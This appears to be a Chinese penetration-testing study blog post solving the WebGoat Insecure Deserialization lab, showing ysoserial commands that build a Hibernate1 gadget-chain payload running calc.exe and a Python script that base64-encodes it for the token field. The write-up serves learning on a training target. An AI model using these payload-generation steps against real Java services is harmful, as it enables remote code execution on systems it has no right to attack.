(渗透学习)ysoserial工具使用--java反序列化漏洞利用

工具下载地址:https://github.com/angelwhu/ysoserial

使用方法可参考:https://blog.csdn.net/weixin_34275734/article/details/92243836

靶场webgoat---Insecure Deserializetion---5

分析漏洞:

(渗透学习)ysoserial工具使用--java反序列化漏洞利用_第1张图片

题目给的数据是rO0AB开头,所以是经过了base64加密的java序列化对象。

 解码后是一段英文,百度翻译也没发现有啥用处:

(渗透学习)ysoserial工具使用--java反序列化漏洞利用_第2张图片

题目还给出了一个接收序列化数据的表单,先分析一波:

用burpsuite抓包:

 (渗透学习)ysoserial工具使用--java反序列化漏洞利用_第3张图片

 可以看到,表单提交的数据通过token接收,并发送到/InsecureDeserialization/task这个页面,可以通过/InsecureDeserialization/task找出对应的源码

(渗透学习)ysoserial工具使用--java反序列化漏洞利用_第4张图片

所以,页面接收的token是一段经过base64编码的序列化数据

利用漏洞:----ysoserial工具

找到了传输序列化数据的接口,接下来就需要构造payload了

首先肯定是查找已知漏洞的利用,对于分析代码去构造payload,没技术不说,也没时间去搞,最简单最直接就是找披露过的java插件漏洞。

运行ysoserial工具

java -jar ysoserial.jar

(渗透学习)ysoserial工具使用--java反序列化漏洞利用_第5张图片

按照ysoserial支持的插件,查找webgoat是否安装了对应的jar包,这里只有两个:

Hibernate和spring-core 但是spring-core的版本不一致,所以就选择Hibernate

(渗透学习)ysoserial工具使用--java反序列化漏洞利用_第6张图片

将Hibernate的jar包复制到ysoserial工具的目录下,jar包名字中必须是有core的,是插件的核心

 我这里是hibernate-core-5.4.6.Final.jar这个包,利用ysoserial生成payload,执行以下命令

 java -Dhibernate5 -cp hibernate-core-5.4.6.Final.jar;ysoserial.jar ysoserial.GeneratePayload Hibernate1 calc.exe > token.bin

 java -Dhibernate5 -cp hibernate-core-5.4.6.Final.jar;  //表示hibernate5的插件

ysoserial.jar ysoserial.GeneratePayload Hibernate1 calc.exe > token.bin  //生成Hibernate1插件反序列化漏洞的payload,执行calc.exe命令,将payload保存在token.bin文件中

payload生成了,但是表单接收的是经过base64编码的:采用python写的简单脚本对payloadbase64编码

import base64

filename = input("输入需要base64编码的文件名:")
s = open(filename, "rb").read() #文本默认模式读取文件内容rt
base64_str = base64.urlsafe_b64encode(s)
#文本默认模式写入文件内容wt
open("base64.txt", "wt",encoding="utf-8").write(base64_str.decode())

(渗透学习)ysoserial工具使用--java反序列化漏洞利用_第7张图片

将编码的字符串提交:

(渗透学习)ysoserial工具使用--java反序列化漏洞利用_第8张图片

成功执行calc.exe命令,题目说要延时5s,也不知道是cmd还是web页面的,搞不懂

你可能感兴趣的:(渗透学习,java,开发语言,后端)